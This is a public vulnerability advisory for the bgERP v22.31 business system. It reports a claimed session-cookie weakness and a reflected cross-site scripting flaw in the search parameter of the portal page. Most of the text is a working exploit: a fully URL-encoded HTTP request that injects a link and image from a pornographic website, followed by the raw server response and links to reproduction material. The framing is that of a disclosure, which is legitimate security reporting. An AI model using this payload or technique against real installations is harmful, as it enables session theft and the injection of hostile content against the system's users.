bgERP v22.31 (Orlovets) – Cookie Session vulnerability & Cross-Site Scripting (XSS)
## Title: bgERP v22.31 (Orlovets) - Cookie Session vulnerability & Cross-Site Scripting (XSS) ## Author: nu11secur1ty ## Date: 01.31.2023 ## Vendor: https://bgerp.com/Bg/Za-sistemata ## Software: https://github.com/bgerp/bgerp/releases/tag/v22.31 ## Reference: https://portswigger.net/kb/issues/00500b01_cookie-manipulation-reflected-dom-based ## Description: The bgERP system suffers from unsecured login cookies in which cookies are stored as very sensitive login and also login session information! The attacker can trick the already login user and can steal the already generated cookie from the system and can do VERY DANGEROUS things with the already stored sensitive information. This can be very expensive for all companies which are using this system, please be careful! Also, this system has a vulnerable search parameter for XSS-Reflected attacks! ## STATUS: HIGH Vulnerability [+] Exploit: ```GET GET /Portal/Show?recentlySearch_14=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%64%6c%2e%70%68%6e%63%64%6e%2e%63%6f%6d%2f%67%69%66%2f%34%31%31%36%35%37%36%31%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&Cmd%5Bdefault%5D=1 HTTP/1.1 Host: 192.168.100.77:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.100.77:8080/Portal/Show Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: SID=rfn0jpm60epeabc1jcrkhgr9c3; brid=MC9tQnJQ_438f57; menuInfo=1254:l :0 Connection: close Content-Length: 0 ``` [+] Response after logout of the system: ```HTTP HTTP/1.1 302 Found Date: Tue, 31 Jan 2023 15:13:26 GMT Server: Apache/2.4.41 (Ubuntu) Expires: 0 Cache-Control: no-cache, must-revalidate Location: /core_Users/login/?ret_url=bgerp%2FPortal%2FShow%2FrecentlySearch_14%2F%253Ca%2Bhref%253D%2522https%253A%252F%252Fpornhub.com%252F%2522%2Btarget%253D%2522_blank%2522%2Brel%253D%2522noopener%2Bnofollow%2Bugc%2522%253E%250A%253Cimg%2Bsrc%253D%2522https%253A%252F%252Fdl.phncdn.com%252Fgif%252F41165761.gif%253F%253Ftoken%253DGHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ%2526rs%253D1%2522%2Bstyle%253D%2522border%253A1px%2Bsolid%2Bblack%253Bmax-width%253A100%2525%253B%2522%2Balt%253D%2522Photo%2Bof%2BByron%2BBay%252C%2Bone%2Bof%2BAustralia%2527s%2Bbest%2Bbeaches%2521%2522%253E%250A%253C%252Fa%253E%2FCmd%2Cdefault%2F1%2FCmd%2Crefresh%2F1_48f6f472 Connection: close Content-Length: 2 Content-Encoding: none Content-Type: text/html; charset=UTF-8 OK ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bgERP/2023/brERP-v22.31-Cookie-Session-vulnerability%2BXSS-Reflected) ## Proof and Exploit: [href](https://streamable.com/xhffdu) ## Time spent `01:30:00` -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |